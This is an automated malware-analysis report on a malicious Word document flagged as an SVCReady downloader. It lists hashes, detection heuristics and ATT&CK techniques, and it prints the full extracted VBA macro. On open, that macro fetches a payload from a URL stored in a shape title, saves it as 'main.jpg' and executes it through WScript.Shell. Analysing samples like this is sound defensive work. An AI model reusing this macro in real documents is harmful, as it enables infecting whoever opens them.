Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8278dd38fcdc3282…

MALICIOUS

Office (OOXML)

111.3 KB Created: 2020-08-17 10:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 1f0579121d7803db8d6341bdbd3e8417 SHA-1: a100e66da1b802884fad1abfa4c78a47a50a3ee1 SHA-256: 8278dd38fcdc3282fd1d71d51179b70fa3ea83e174544cfb2e4ad52146a10c30
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that are automatically executed via the AutoOpen function. These macros utilize WScript.Shell and MSXML2.XMLHTTP60 to download a payload from the URL 'http://192.168.1.100/payload.exe' and save it as 'main.jpg'. The downloaded file is then executed, indicating a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function adc36ab1(bf05f1bd)
    Set f2cb8f61 = CreateObject("wscript.shell")
    Call f2cb8f61.exec(bf05f1bd)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function adc36ab1(bf05f1bd)
    Set f2cb8f61 = CreateObject("wscript.shell")
    Call f2cb8f61.exec(bf05f1bd)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AutoOpen()
    Dim b6a0f2e2 As New d3f27ff0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack3\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1679 bytes
SHA-256: 5789e0fb85036989b3051b81aa26eb72be37c513dc0089cf7e3fc72cf5e324cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "e74a858f"
Function ae830829()
ae830829 = 1
End Function
Public Function e16eca88(cbc9ab6a)
End Function
Sub AutoOpen()
Dim b6a0f2e2 As New d3f27ff0
fdfe9b7f = b6a0f2e2.c0074137()
b6a4f4bb b7249def(fdfe9b7f)
b6a0f2e2.adc36ab1 e4634e22
End Sub

Attribute VB_Name = "d5652856"
Sub b6a4f4bb(bba11900)
Open ff18d756 For Output As #1
Print #1, bba11900
Close #1
End Sub
Function ff18d756()
ff18d756 = "main.jpg"
End Function
Sub ee96d606()
End Sub
Function b7249def(bba11900)
b7249def = StrConv(bba11900, 64)
End Function
Function e4634e22()
f8107caf = Split(ActiveDocument.Shapes(ae830829).Title, "|")
e4634e22 = f8107caf(0) + " " + ff18d756
End Function

Attribute VB_Name = "d3f27ff0"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function c0074137()
Dim f04f04bf As Object
Set f04f04bf = New MSXML2.XMLHTTP60
e1e18dac = Split(ActiveDocument.Shapes(ae830829).Title, "|")
f04f04bf.Open "GET", e1e18dac(1), False
f04f04bf.Send
'
With f04f04bf
c0074137 = .responsebody
End With
End Function
Function adc36ab1(bf05f1bd)
Set f2cb8f61 = CreateObject("wscript.shell")
Call f2cb8f61.exec(bf05f1bd)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: a624f201a352c3d5c1b8da4dc1f901d379831221f6f40922fe62c221226472eb